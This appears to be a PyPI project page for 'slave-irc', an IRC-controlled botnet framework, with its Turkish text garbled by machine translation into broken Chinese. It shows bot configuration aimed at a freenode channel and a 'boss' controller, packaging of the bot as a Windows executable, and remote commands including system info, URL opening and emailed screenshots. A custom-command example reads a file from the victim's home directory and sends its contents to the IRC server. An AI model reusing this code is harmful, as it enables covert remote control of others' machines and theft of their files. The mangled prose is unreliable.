基于irc的可定制僵尸网络框架
slave-irc的Python项目详细描述
从机
奴隶,python ile yaz_lm_zelle_tirilebilir bot olu_turmaya yarayan bir yaz_l_md_r.IRCprotokolüzerinden,yaz_lan botlar ile haberle_ir。
尤克莱姆
皮皮勒库鲁姆
$ pip install slave-irc
局部库鲁姆
$ git clone https://github.com/bufgix/slave
$ cd slave
$ python setup.py install
从机,gerek可执行文件dosya olu_turmada gerekse ba_ml_kl_lar_kurmadapipenv
i kullan_r.pipenv
hakk_ndaha fazla bilgiyeburadanula_abirirsiniz。
库伦m
波托鲁图尔马盆地
# basic_bot.pyfromslave.lib.botimportBotV2config={'host':'chat.freenode.net','port':6667,'channel':"#slavebotpool666",'boss_name':'boss666','bot_prefix':"SLAVEBOT"}BotV2.read_config_from_dict(config)BotV2.start()
config
Key | Value |
---|---|
^{ | IRC server (varsayılan ^{ |
^{ | IRC server portu (varsayılan ^{ |
^{ | Bağlanılacak kanal ismi. (varsayılan ^{ |
^{ | Botları yönetecek kullanıcın ismi (varsayılan ^{ |
^{ | Bot ön eki (varsayılan ^{ |
圣多西娅·图尔玛
奴隶,Direkt Olarak_al_t_rabilir dosya olu_turman_za olanak saglar。布努亚帕伦PyInstaller库兰r.
Yukar_da Yazd_m_z Botu_al_t_r_labilir dosya Yapmak i_in:
$ python -m slave basic_bot.py [i] Source: C:\Users\user\your_bot\basic_bot.py [i] Creating executable file... [*] Created executable file. Check C:\Users\user\path\your_bot\dist
奥卢·安南{
basic_bot.exe
yi_al_t_rd_ktan Sonra 5-10 Saniye i_indeconfig
de Belirledi_ekilde irc'ye ba_r.
布拉丹sonra config
de beilledi bos_name
ile ayn_olaak irc服务器ve channel'e girin。埃米尔·维梅耶·巴雷亚比利尔辛尼兹。
不合格品
奴隶,奴隶
$info bfr24s
$visit bfr24s https://google.com
吉比。Komuttan Sonraki ilk parametre generate verece ghoinin botun idsini al_r.e_er bün botlara bu komutu vermek istiyorsan_zbot_id
yerine/all
Yazabilirisiniz.
$visit /all https://google.com
BOtV2
在Sa_lad_komutlar ve kullan_mlar_a_a_daki Gibidir
Command | Desc | Syntax |
---|---|---|
quit | Kill bot | ^{ |
info | Information of bot machine | ^{ |
message | Message show with tkinter | ^{ |
visit | Open url with webbroser | ^{ |
screenshot | Take sceenshot and send your email(Only Gmail) | ^{ |
help | Help text of command | ^{ |
博特拉·恩茨·赫尔·耶尔登·约内特比利西尼兹
- 网页:Kiwi
- 安卓系统:AndroidIRC
- ios:Mutter
肯迪·科穆特拉姆·亚扎尔·姆?
奴隶,肯迪泽尔·博图努祖·亚兹曼·萨马拉。Bunu Yapmak i_i n Bot
s_n_f_n_n @register
减速器'unu Kullanman_z gerekir。
imdi kendimiz bir komut yazal_m.yazaca_m_z komut argüman olak verdi_imiz dosya ismini okuyup i_indekileri servera g_ndersin.Komutun sóz Dizimi_yle Olsun公司。
$read [/all | <bot_id>] <file_name>
# bot_custom.pyfromslave.lib.botsimportBotBasicconfig={'host':'chat.freenode.net','port':6667,'channel':"#slavebotpool666",'boss_name':'boss666','bot_prefix':"SLAVEBOT"}BotBasic.read_config_from_dict(config)BotBasic.bot_type="MyCustomBot"@BotBasic.register('read',all=True,on_connect=False,help_text="Read from file $read [/all | <bot_id>] <file_name>")defread_file(bot,args):passBotBasic.start()
绿绿绿绿党{on_connect=
bu,e_e r true ise yazd_n_z komut servera ba_land_anda_al_l_r.help_text=
ise komutumuzun imzas_d_r.burada komutun nas_l kullan_laca_hakk_bilnda gi verebiliniz。
komut fonksyonu iki parametre almak zorundad_r.birinci parametre olak Bot
objesi al_r.bu server ile bot aras_nda ileti_imi sa_lar。
bot.send_text(text: str) -> None
服务器文本Mesaj_góndermeyi Sa_lar。
bot.exit_server() -> None
Botun服务器dan Ayr_lmas_n_sa_lar
bot.send_command_help() -> None
奥兰·科穆特拉夫·比尔吉列里尼·塞尔瓦·根德尔。
kinci argüman olan args argüman listensini al_r.
imdi komutumuzu yazmaya devam edelim
frompathlibimportPath...@BotBasic.register('read',all=True,on_connect=False,help_text="Read from file $read [/all | <bot_id>] <file_name>")defread_file(bot,args):path=str(Path(f"~/{args[1]}").expanduser())withopen(path,'r')asf:bot.send_text(f.read())...
她的“Ey Haz”R.Imdi试验等。
$ python bot_custom.py
file.txt
Im secret
Don't read me
塔比·多斯耶·奥库姆达南斯·瓦尔·奥卢普·奥尔马德·恩·康特罗尔·埃特梅克·内姆利迪尔。奥尔玛雅博多西亚埃里梅耶萨尔博特,塞尔拉哈伯勒梅耶凯塞克蒂尔酒店(Servla Haberle_meyi Kesecektir)。
Yukardakiórnekte daha az komut oldu_unu górmüsünüzdür.bunun nedeniBotBasic
s_n_n_nBotV2
ye góre daha az komut i_mesi.赫姆肯迪·科穆特拉·恩·兹·赫姆·德BotV2
德基·斯坦达特·科穆特拉·比尔·蒂尔梅克·伊辛
fromslave.lib.botsimportBotBasic,BotV2...BotBasic.use_other_bot_commands(BotV2)BotBasic.start()
博图努祖·哈兹·奥尔杜奥努努杜努努努努努努努约尔桑·阿尔茨美术馆(Botunuzun Haz_r Oldu_unu dünyorsan_z Art_kçalıştırılabilir dosyaYapabilirsiniz)。